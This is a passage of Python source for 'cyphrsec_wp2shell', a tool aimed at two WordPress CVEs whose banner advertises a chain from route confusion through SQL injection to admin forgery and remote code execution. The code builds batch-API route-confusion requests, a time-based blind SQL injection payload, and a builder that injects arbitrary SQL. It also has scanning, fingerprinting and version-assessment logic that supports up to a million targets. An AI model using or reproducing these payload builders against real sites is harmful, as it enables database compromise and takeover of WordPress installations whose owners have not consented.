\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nTOOL_NAME = \"cyphrsec_wp2shell\"\nTOOL_VERSION = \"7.1.0\"\nCVE_ROUTE_CONFUSION = \"CVE-2026-63030\"\nCVE_SQLI = \"CVE-2026-60137\"\nSQLI_PARAM = \"author_exclude\"\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  BANNER\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n_ASCII = (\n    \".%%...%%..%%%%%....%%%%....%%%%...%%..%%..%%%%%%..%%......%%.....\",\n    \".%%...%%..%%..%%......%%..%%......%%..%%..%%......%%......%%.....\",\n    \".%%.%.%%..%%%%%....%%%%....%%%%...%%%%%%..%%%%....%%......%%.....\",\n    \".%%%%%%%..%%......%%..........%%..%%..%%..%%......%%......%%.....\",\n    \"..%%.%%...%%......%%%%%%...%%%%...%%..%%..%%%%%%..%%%%%%..%%%%%%.\",\n    \".................................................................\",\n)\n\n\ndef show_banner() -> None:\n    try:\n        os.system(\"cls\" if os.name == \"nt\" else \"clear\")\n    except Exception:\n        pass\n\n    print()\n    print(box_top(\"CYPHR SEC\"))\n    print(box_line())\n    for line in _ASCII:\n        print(box_line(\"   \" + violet(line)))\n    print(box_line())\n    print(box_line(\"   \" + pink(CVE_ROUTE_CONFUSION) + gray(\"  +  \")\n                   + pink(CVE_SQLI) + gray(\"  \u00b7  \") + white(\"WP2SHELL v7.1\")))\n    print(box_line(\"   \" + lav(\"chain: \") + mint(\"route confusion\")\n                   + gray(\" -> \") + amber(\"SQLi\") + gray(\" -> \")\n                   + cyan(\"UNION admin\") + gray(\" -> \") + lime(\"RCE\")))\n    print(box_line())\n    print(box_line(\"   \" + cyan(\"CyphrSec\") + gray(\"  \u00b7  \")\n                   + white(\"github.com/0xCyp1337\") + gray(\"  \u00b7  \")\n                   + cyan(\"@kingepepp\")))\n    print(box_line())\n    print(box_bot())\n    print()\n\n\nDEFAULT_USER_AGENT = f\"{TOOL_NAME}/{TOOL_VERSION} (authorized-security-validation)\"\nDEFAULT_MAX_BODY = 2 * 1024 * 1024\nDEFAULT_TIMEOUT = 10.0\nDEFAULT_RATE = 5.0\nDEFAULT_CONCURRENCY = 5\nMAX_CONCURRENCY = 32\nMAX_TARGETS_HARD = 1_000_000\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  ROUTE CONFUSION PAYLOADS\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nSAFE_ROUTE_CONFUSION_PROBE: Dict[str, Any] = {\n    \"validation\": \"normal\",\n    \"requests\": [\n        {\"method\": \"POST\", \"path\": \"http://:\"},\n        {\n            \"method\": \"POST\",\n            \"path\": \"/wp/v2/posts/0\",\n            \"body\": {\n                \"requests\": [\n                    {\"method\": \"GET\", \"path\": \"/wp/v2/posts?per_page=1&_fields=id\"}\n                ]\n            },\n        },\n        {\"method\": \"POST\", \"path\": \"/batch/v1\"},\n    ],\n}\n\n\ndef build_route_confusion_sqli_probe(\n    sql_payload: str,\n    *,\n    path: str = \"/wp/v2/categories\",\n    inner_dummy_path: str = \"/wp/v2/posts?per_page=1&_fields=id\",\n) -> Dict[str, Any]:\n    query = urllib.parse.urlencode({SQLI_PARAM: sql_payload})\n    target_path = f\"{path}?{query}\"\n\n    return {\n        \"validation\": \"normal\",\n        \"requests\": [\n            {\"method\": \"POST\", \"path\": \"http://:\"},\n            {\n                \"method\": \"POST\",\n                \"path\": \"/wp/v2/posts\",\n                \"body\": {\n                    \"requests\": [\n                        {\"method\": \"GET\", \"path\": \"http://:\"},\n                        {\"method\": \"GET\", \"path\": target_path},\n                        {\"method\": \"GET\", \"path\": inner_dummy_path},\n                    ]\n                },\n            },\n            {\"method\": \"POST\", \"path\": \"/batch/v1\"},\n        ],\n    }\n\n\ndef _timing_condition(delay: int, true: bool) -> str:\n    cond = \"1=1\" if true else \"1=0\"\n    return f\"0) AND (SELECT 1 FROM (SELECT IF(({cond}),SLEEP({delay}),0))x)-- -\"\n\n\ndef build_timing_probe(delay: int, true: bool) -> Dict[str, Any]:\n    return build_route_confusion_sqli_probe(_timing_condition(delay, true))\n\n\ndef build_forge_probe(sql: str) -> Dict[str, Any]:\n    return build_route_confusion_sqli_probe(sql)\n\n\nRETRYABLE_HTTP_STATUSES = {408, 425, 429, 500, 502, 503, 504}\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  DATA MODELS\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n@dataclass(frozen=True, order=True)\nclass WPVersion:\n    major: int\n    minor: int\n    patch: int\n    suffix: str = field(default=\"\", compare=False)\n    raw: str = field(default=\"\", compare=False)\n\n    @property\n    def tuple(self) -> Tuple[int, int, int]:\n        return (self.major, self.minor, self.patch)\n\n    @property\n    def stable(self) -> bool:\n        return not self.suffix\n\n    def __str__(self) -> str:\n        base = f\"{self.major}.{self.minor}.{self.patch}\"\n        return f\"{base}{self.suffix}\" if self.suffix else base\n\n\n@dataclass\nclass VersionEvidence:\n    version: str\n    source: str\n    url: str\n    confidence: float\n    detail: str = \"\"\n\n    def as_dict(self) -> Dict[str, Any]:\n        return dataclasses.asdict(self)\n\n\n@dataclass\nclass HttpResult:\n    requested_url: str\n    final_url: str\n    status: Optional[int]\n    headers: Dict[str, str]\n    body: bytes\n    elapsed_ms: int\n    error: Optional[str] = None\n    truncated: bool = False\n\n    def text(self) -> str:\n        content_type = self.headers.get(\"content-type\", \"\")\n        charset_match = re.search(r\"charset=([A-Za-z0-9._-]+)\", content_type, re.I)\n        encodings = [charset_match.group(1)] if charset_match else []\n        encodings += [\"utf-8\", \"latin-1\"]\n        for encoding in encodings:\n            try:\n                return self.body.decode(encoding, errors=\"replace\")\n            except (LookupError, UnicodeDecodeError):\n                continue\n        return self.body.decode(\"utf-8\", errors=\"replace\")\n\n    def as_summary(self) -> Dict[str, Any]:\n        return {\n            \"requested_url\": self.requested_url,\n            \"final_url\": self.final_url,\n            \"status\": self.status,\n            \"elapsed_ms\": self.elapsed_ms,\n            \"error\": self.error,\n            \"truncated\": self.truncated,\n        }\n\n\n@dataclass\nclass ActiveProbeResult:\n    attempted: bool = False\n    endpoint: Optional[str] = None\n    result: str = \"not-run\"\n    vulnerable_signal: bool = False\n    patched_signal: bool = False\n    http_status: Optional[int] = None\n    elapsed_ms: Optional[int] = None\n    error: Optional[str] = None\n    explanation: str = \"\"\n\n    def as_dict(self) -> Dict[str, Any]:\n        return dataclasses.asdict(self)\n\n\n@dataclass\nclass SqliProbeResult:\n    attempted: bool = False\n    result: str = \"not-run\"\n    vulnerable_signal: bool = False\n    patched_signal: bool = False\n    false_count: Optional[int] = None\n    true_count: Optional[int] = None\n    false_median: Optional[float] = None\n    true_median: Optional[float] = None\n    difference: Optional[float] = None\n    error: Optional[str] = None\n    explanation: str = \"\"\n\n    def as_dict(self) -> Dict[str, Any]:\n        return dataclasses.asdict(self)\n\n\n@dataclass\nclass ScanResult:\n    target: str\n    normalized_target: Optional[str] = None\n    final_target: Optional[str] = None\n    wordpress_detected: bool = False\n    wordpress_confidence: float = 0.0\n    selected_version: Optional[str] = None\n    version_confidence: float = 0.0\n    version_conflict: bool = False\n    version_evidence: List[VersionEvidence] = field(default_factory=list)\n    version_assessment: str = \"unknown\"\n    batch_route_exposed: Optional[bool] = None\n    active_probe: ActiveProbeResult = field(default_factory=ActiveProbeResult)\n    sqli_probe: SqliProbeResult = field(default_factory=SqliProbeResult)\n    verdict: str = \"UNKNOWN\"\n    severity: str = \"info\"\n    summary: str = \"\"\n    remediation: str = \"\"\n    errors: List[str] = field(default_factory=list)\n    requests: List[Dict[str, Any]] = field(default_factory=list)\n    scanned_at: str = field(\n        default_factory=lambda: dt.datetime.now(dt.timezone.utc).isoformat()\n    )\n\n    def as_dict(self) -> Dict[str, Any]:\n        return {\n            \"target\": self.target,\n            \"normalized_target\": self.normalized_target,\n            \"final_target\": self.final_target,\n            \"wordpress_detected\": self.wordpress_detected,\n            \"wordpress_confidence\": round(self.wordpress_confidence, 2),\n            \"selected_version\": self.selected_version,\n            \"version_confidence\": round(self.version_confidence, 2),\n            \"version_conflict\": self.version_conflict,\n            \"version_evidence\": [item.as_dict() for item in self.version_evidence],\n            \"version_assessment\": self.version_assessment,\n            \"batch_route_exposed\": self.batch_route_exposed,\n            \"active_probe\": self.active_probe.as_dict(),\n            \"sqli_probe\": self.sqli_probe.as_dict(),\n            \"verdict\": self.verdict,\n            \"severity\": self.severity,\n            \"summary\": self.summary,\n            \"remediation\": self.remediation,\n            \"errors\": self.errors,\n            \"requests\": self.requests,\n            \"scanned_at\": self.scanned_at,\n            \"tool\": {\"name\": TOOL_NAME, \"version\": TOOL_VERSION},\n        }\n\n\n@dataclass\nclass LocalResult:\n    wordpress_root: str\n    version_file: Optional[str] = None\n    selected_version: Optional[str] = None\n    version_assessment: str = \"unknown\"\n    verdict: str = \"UNKNOWN\"\n    severity: str = \"info\"\n    summary: str = \"\"\n    remediation: str = \"\"\n    errors: List[str] = field(default_factory=list)\n    scanned_at: str = field(\n        default_factory=lambda: dt.datetime.now(dt.timezone.utc).isoformat()\n    )\n\n    def as_dict(self) -> Dict[str, Any]:\n        return {\n            **dataclasses.asdict(self),\n            \"tool\": {\"name\": TOOL_NAME, \"version\": TOOL_VERSION},\n        }\n\n\n@dataclass\nclass ScanConfig:\n    timeout: float = DEFAULT_TIMEOUT\n    retries: int = 1\n    max_body_bytes: int = DEFAULT_MAX_BODY\n    verify_tls: bool = True\n    follow_redirects: bool = True\n    allow_cross_host_redirects: bool = False\n    proxy: Optional[str] = None\n    headers: Dict[str, str] = field(default_factory=dict)\n    user_agent: str = DEFAULT_USER_AGENT\n    rate_limit: float = DEFAULT_RATE\n    fingerprint_level: str = \"standard\"\n    active_probe: bool = False\n    rest_endpoint: str = \"both\"\n    include_request_log: bool = False\n    default_scheme: str = \"https\"\n\n\nclass ThreadLocalWriter(io.TextIOBase):\n    def __init__(self, fallback):\n        self._fallback = fallback\n        self._local = threading.local()\n\n    def set_buffer(self, buf: Optional[io.StringIO]) -> None:\n        self._local.buf = buf\n\n    def _buf(self) -> Optional[io.StringIO]:\n        return getattr(self._local, \"buf\", None)\n\n    def write(self, s: str) -> int:\n        buf = self._buf()\n        if buf is not None:\n            return buf.write(s)\n        return self._fallback.write(s)\n\n    def flush(self) -> None:\n        buf = self._buf()\n        if buf is not None:\n            buf.flush()\n        else:\n            self._fallback.flush()\n\n    @property\n    def encoding(self) -> str:\n        return getattr(self._fallback, \"encoding\", \"utf-8\")\n\n    def isatty(self) -> bool:\n        return False\n\n\n_TLS_STDOUT = ThreadLocalWriter(sys.stdout)\n_TLS_STDERR = ThreadLocalWriter(sys.stderr)\nsys.stdout = _TLS_STDOUT\nsys.stderr = _TLS_STDERR\n\n\nclass RateLimiter:\n    def __init__(self, rate_per_second: float):\n        self._interval = 0.0 if rate_per_second <= 0 else 1.0 / rate_per_second\n        self._lock = threading.Lock()\n        self._next_allowed = 0.0\n\n    def wait(self) -> None:\n        if self._interval <= 0:\n            return\n        with self._lock:\n            now = time.monotonic()\n            delay = self._next_allowed - now\n            if delay > 0:\n                time.sleep(delay)\n                now = time.monotonic()\n            self._next_allowed = max(now, self._next_allowed) + self._interval\n\n\nclass ControlledRedirectHandler(urllib.request.HTTPRedirectHandler):\n    def __init__(self, original_url: str, follow_redirects: bool,\n                 allow_cross_host: bool) -> None:\n        super().__init__()\n        self.original_host = (urllib.parse.urlsplit(original_url).hostname or \"\").lower()\n        self.follow_redirects = follow_redirects\n        self.allow_cross_host = allow_cross_host\n\n    def redirect_request(self, req, fp, code, msg, headers, newurl):\n        if not self.follow_redirects:\n            raise urllib.error.HTTPError(\n                req.full_url, code, \"redirect blocked by policy\", headers, fp\n            )\n        new_host = (urllib.parse.urlsplit(newurl).hostname or \"\").lower()\n        if not self.allow_cross_host and new_host != self.original_host:\n            raise urllib.error.HTTPError(\n                req.full_url, code,\n                f\"cross-host redirect blocked ({self.original_host} -> {new_host})\",\n                headers, fp,\n            )\n        return super().redirect_request(req, fp, code, msg, headers, newurl)\n\n\ndef _open_with_deadline(opener, req, timeout: float):\n    result: Dict[str, Any] = {}\n\n    def _worker() -> None:\n        try:\n            result[\"resp\"] = opener.open(req, timeout=timeout)\n        except Exception as exc:\n            result[\"exc\"] = exc\n\n    deadline = timeout + 5.0\n    t = threading.Thread(target=_worker, daemon=True)\n    t.start()\n    t.join(deadline)\n    if t.is_alive():\n        raise TimeoutError(f\"request deadline exceeded after {deadline:.0f}s\")\n    if \"exc\" in result:\n        raise result[\"exc\"]\n    return result[\"resp\"]\n\n\ndef _read_with_deadline(response, size: int, timeout: float) -> bytes:\n    result: Dict[str, Any] = {}\n\n    def _worker() -> None:\n        try:\n            result[\"data\"] = response.read(size)\n        except Exception as exc:\n            result[\"exc\"] = exc\n\n    deadline = timeout + 5.0\n    t = threading.Thread(target=_worker, daemon=True)\n    t.start()\n    t.join(deadline)\n    if t.is_alive():\n        raise TimeoutError(f\"read deadline exceeded after {deadline:.0f}s\")\n    if \"exc\" in result:\n        raise result[\"exc\"]\n    return result[\"data\"]\n\n\nclass HttpClient:\n    def __init__(self, config: ScanConfig, limiter: RateLimiter):\n        self.config = config\n        self.limiter = limiter\n        self._jar = http.cookiejar.CookieJar()\n\n    def _build_opener(self, url: str) -> urllib.request.OpenerDirector:\n        handlers: List[Any] = [\n            urllib.request.HTTPCookieProcessor(self._jar),\n            ControlledRedirectHandler(\n                url, self.config.follow_redirects,\n                self.config.allow_cross_host_redirects,\n            ),\n        ]\n        if self.config.proxy:\n            handlers.append(urllib.request.ProxyHandler(\n                {\"http\": self.config.proxy, \"https\": self.config.proxy}))\n        else:\n            handlers.append(urllib.request.ProxyHandler())\n\n        if url.lower().startswith(\"https://\"):\n            context = (ssl.create_default_context()\n                       if self.config.verify_tls\n                       else ssl._create_unverified_context())\n            handlers.append(urllib.request.HTTPSHandler(context=context))\n        return urllib.request.build_opener(*handlers)\n\n    def request(self, method: str, url: str, *, json_body: Any = None,\n                headers: Optional[Mapping[str, str]] = None,\n                data: Optional[bytes] = None,\n                retry: bool = True) -> HttpResult:\n        method = method.upper()\n        body: Optional[bytes] = None\n        request_headers = {\n            \"Accept\": \"application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.5\",\n            \"User-Agent\": self.config.user_agent,\n            \"Connection\": \"close\",\n        }\n        request_headers.update(self.config.headers)\n        if headers:\n            request_headers.update(headers)\n        if data is not None:\n            body = data\n            request_headers.setdefault(\"Content-Type\", \"application/x-www-form-urlencoded\")\n        elif json_body is not None:\n            body = json.dumps(json_body, separators=(\",\", \":\")).encode(\"utf-8\")\n            request_headers.setdefault(\"Content-Type\", \"application/json\")\n            request_headers.setdefault(\"Cache-Control\", \"no-store\")\n\n        attempts = self.config.retries + 1 if retry else 1\n        last: Optional[HttpResult] = None\n        for attempt in range(attempts):\n            self.limiter.wait()\n            started = time.monotonic()\n            req = urllib.request.Request(url=url, data=body,\n                                         headers=request_headers, method=method)\n            try:\n                opener = self._build_opener(url)\n                with _open_with_deadline(opener, req, self.config.timeout) as response:\n                    payload = _read_with_deadline(response,\n                                                  self.config.max_body_bytes + 1,\n                                                  self.config.timeout)\n                    truncated = len(payload) > self.config.max_body_bytes\n                    payload = payload[:self.config.max_body_bytes]\n                    elapsed = int((time.monotonic() - started) * 1000)\n                    result = HttpResult(\n                        requested_url=url,\n                        final_url=response.geturl(),\n                        status=getattr(response, \"status\", response.getcode()),\n                        headers={k.lower(): v for k, v in response.headers.items()},\n                        body=payload, elapsed_ms=elapsed, truncated=truncated,\n                    )\n            except urllib.error.HTTPError as exc:\n                try:\n                    payload = _read_with_deadline(exc,\n                                                  self.config.max_body_bytes + 1,\n                                                  self.config.timeout)\n                except Exception:\n                    payload = b\"\"\n                truncated = len(payload) > self.config.max_body_bytes\n                payload = payload[:self.config.max_body_bytes]\n                elapsed = int((time.monotonic() - started) * 1000)\n                result = HttpResult(\n                    requested_url=url, final_url=exc.geturl() or url,\n                    status=exc.code,\n                    headers={k.lower(): v for k, v in (exc.headers or {}).items()},\n                    body=payload, elapsed_ms=elapsed,\n                    error=str(exc.reason) if exc.reason else None,\n                    truncated=truncated,\n                )\n            except (urllib.error.URLError, TimeoutError, socket.timeout, ssl.SSLError) as exc:\n                elapsed = int((time.monotonic() - started) * 1000)\n                reason = getattr(exc, \"reason\", exc)\n                result = HttpResult(\n                    requested_url=url, final_url=url, status=None, headers={},\n                    body=b\"\", elapsed_ms=elapsed,\n                    error=f\"{type(reason).__name__}: {reason}\",\n                )\n            except Exception as exc:\n                elapsed = int((time.monotonic() - started) * 1000)\n                result = HttpResult(\n                    requested_url=url, final_url=url, status=None, headers={},\n                    body=b\"\", elapsed_ms=elapsed,\n                    error=f\"{type(exc).__name__}: {exc}\",\n                )\n\n            last = result\n            should_retry = (attempt + 1 < attempts\n                            and (result.status is None\n                                 or result.status in RETRYABLE_HTTP_STATUSES))\n            if not should_retry:\n                return result\n            time.sleep(min(0.5 * (2 ** attempt), 3.0))\n\n        assert last is not None\n        return last\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  VERSION DETECTION\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nVERSION_TOKEN_RE = re.compile(\n    r\"(?\\d{1,2})\\.(?P\\d{1,2})(?:\\.(?P\\d{1,3}))?\"\n    r\"(?P(?:[-._]?(?:alpha|beta|rc|nightly|dev)[A-Za-z0-9._-]*)?)\",\n    re.I,\n)\n\n\ndef parse_wp_version(value: Optional[str]) -> Optional[WPVersion]:\n    if not value:\n        return None\n    match = VERSION_TOKEN_RE.search(value.strip())\n    if not match:\n        return None\n    raw = match.group(0)\n    suffix = match.group(\"suffix\") or \"\"\n    return WPVersion(\n        major=int(match.group(\"major\")),\n        minor=int(match.group(\"minor\")),\n        patch=int(match.group(\"patch\") or 0),\n        suffix=suffix, raw=raw,\n    )\n\n\ndef assess_version(version: Optional[WPVersion]) -> Tuple[str, str, str, str]:\n    if version is None:\n        return (\"unknown\", \"UNKNOWN\", \"info\",\n                \"WordPress version could not be determined.\")\n    if not version.stable:\n        suffix = version.suffix.lower().lstrip(\"-._\")\n        if version.tuple == (7, 1, 0):\n            beta_match = re.fullmatch(r\"beta[._-]?(\\d+)\", suffix)\n            if beta_match and int(beta_match.group(1)) < 2:\n                return (\"affected-7.1-prerelease\", \"LIKELY_VULNERABLE\",\n                        \"critical\",\n                        f\"WordPress {version} predates the fixed 7.1 beta2 prerelease.\")\n            if (beta_match and int(beta_match.group(1)) >= 2) or suffix.startswith(\"rc\"):\n                return (\"fixed-7.1-prerelease\", \"PATCHED_VERSION\", \"info\",\n                        f\"WordPress {version} is at or later than the fixed 7.1 beta2 prerelease.\")\n        return (\"prerelease-unknown\", \"UNKNOWN_PRERELEASE\", \"medium\",\n                f\"Detected prerelease version {version}; compare it with the \"\n                f\"vendor's fixed build for that branch.\")\n\n    current = version.tuple\n    if (6, 9, 0) <= current < (6, 9, 5) or (7, 0, 0) <= current < (7, 0, 2):\n        return (\"affected-wp2shell\", \"LIKELY_VULNERABLE\", \"critical\",\n                f\"WordPress {version} is in the published affected range for \"\n                f\"{CVE_ROUTE_CONFUSION}.\")\n    if (6, 8, 0) <= current < (6, 8, 6):\n        return (\"affected-sqli-only\", \"VULNERABLE_SQLI_ONLY\", \"high\",\n                f\"WordPress {version} is outside the WP2Shell route-confusion \"\n                f\"range but is in the affected range for the standalone \"\n                f\"{CVE_SQLI} flaw.\")\n    if (6, 8, 6) <= current < (6, 9, 0):\n        return (\"fixed-6.8-branch\", \"NOT_AFFECTED\", \"info\",\n                f\"WordPress {version} includes the 6.8-branch SQL injection \"\n                f\"fix and is outside the published route-confusion range.\")\n    if (6, 9, 5) <= current < (7, 0, 0):\n        return (\"fixed-6.9-branch\", \"PATCHED_VERSION\", \"info\",\n                f\"WordPress {version} is at or above the fixed 6.9.5 release.\")\n    if (7, 0, 2) <= current < (8, 0, 0):\n        return (\"fixed-7.x-branch\", \"PATCHED_VERSION\", \"info\",\n                f\"WordPress {version} is at or above the fixed 7.0.2 release.\")\n    if current < (6, 8, 0):\n        return (\"outside-published-range-old\", \"NOT_AFFECTED_BY_THESE_CVES\",\n                \"info\",\n                f\"WordPress {version} is outside the published affected ranges \"\n                f\"for these two CVEs; other vulnerabilities may still apply.\")\n    return (\"outside-published-range\", \"NOT_IN_PUBLISHED_AFFECTED_RANGE\",\n            \"info\",\n            f\"WordPress {version} is not in the vendor-published affected \"\n            f\"ranges; confirm vendor support for this branch.\")\n\n\ndef normalize_target(raw: str, default_scheme: str = \"https\") -> str:\n    value = raw.strip()\n    if not value:\n        raise ValueError(\"empty target\")\n    if any(ord(char) < 32 for char in value):\n        raise ValueError(\"target contains control characters\")\n    if \"://\" not in value:\n        value = f\"{default_scheme}://{value}\"\n    parts = urllib.parse.urlsplit(value)\n    if parts.scheme.lower() not in {\"http\", \"https\"}:\n        raise ValueError(\"only http and https targets are supported\")\n    if not parts.hostname:\n        raise ValueError(\"target has no hostname\")\n    if parts.username or parts.password:\n        raise ValueError(\"credentials in target URLs are not accepted; \"\n                         \"use an explicit header only when authorized\")\n    path = parts.path or \"/\"\n    final_segment = path.rsplit(\"/\", 1)[-1]\n    if final_segment and \".\" in final_segment:\n        path = path.rsplit(\"/\", 1)[0] + \"/\"\n    elif not path.endswith(\"/\"):\n        path += \"/\"\n    host = parts.hostname\n    assert host is not None\n    try:\n        host_ascii = host.encode(\"idna\").decode(\"ascii\")\n    except UnicodeError as exc:\n        raise ValueError(f\"invalid internationalized hostname: {exc}\") from exc\n    if \":\" in host_ascii and not host_ascii.startswith(\"[\"):\n        host_ascii = f\"[{host_ascii}]\"\n    netloc = host_ascii\n    try:\n        port = parts.port\n    except ValueError as exc:\n        raise ValueError(f\"invalid target port: {exc}\") from exc\n    if port:\n        netloc += f\":{port}\"\n    return urllib.parse.urlunsplit((parts.scheme.lower(), netloc, path, \"\", \"\"))\n\n\ndef endpoint_url(base: str, kind: str) -> str:\n    if kind == \"home\":\n        return base\n    if kind == \"feed\":\n        return urllib.parse.urljoin(base, \"feed/\")\n    if kind == \"readme\":\n        return urllib.parse.urljoin(base, \"readme.html\")\n    if kind == \"rest-query-index\":\n        return f\"{base}?rest_route=/\"\n    if kind == \"rest-query-batch\":\n        return f\"{base}?rest_route=/batch/v1\"\n    if kind == \"rest-pretty-index\":\n        return urllib.parse.urljoin(base, \"wp-json/\")\n    if kind == \"rest-pretty-batch\":\n        return urllib.parse.urljoin(base, \"wp-json/batch/v1\")\n    raise ValueError(f\"unknown endpoint kind: {kind}\")\n\n\ndef parse_headers(values: Sequence[str]) -> Dict[str, str]:\n    parsed: Dict[str, str] = {}\n    for item in values:\n        if \"\\r\" in item or \"\\n\" in item:\n            raise ValueError(\"header values must not contain CR/LF\")\n        if \":\" not in item:\n            raise ValueError(f\"header must be in 'Name: value' form: {item!r}\")\n        name, value = item.split(\":\", 1)\n        name = name.strip()\n        value = value.strip()\n        if not name:\n            raise ValueError(\"header name cannot be empty\")\n        parsed[name] = value\n    return parsed\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  FINGERPRINT / EVIDENCE / ACTIVE PROBE\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _add_evidence(evidence: List[VersionEvidence], version_text: str,\n                  source: str, url: str, confidence: float,\n                  detail: str = \"\") -> None:\n    version = parse_wp_version(version_text)\n    if version is None:\n        return\n    normalized = str(version)\n    key = (normalized, source, url, detail)\n    if any((e.version, e.source, e.url, e.detail) == key for e in evidence):\n        return\n    evidence.append(VersionEvidence(version=normalized, source=source,\n                                    url=url, confidence=confidence,\n                         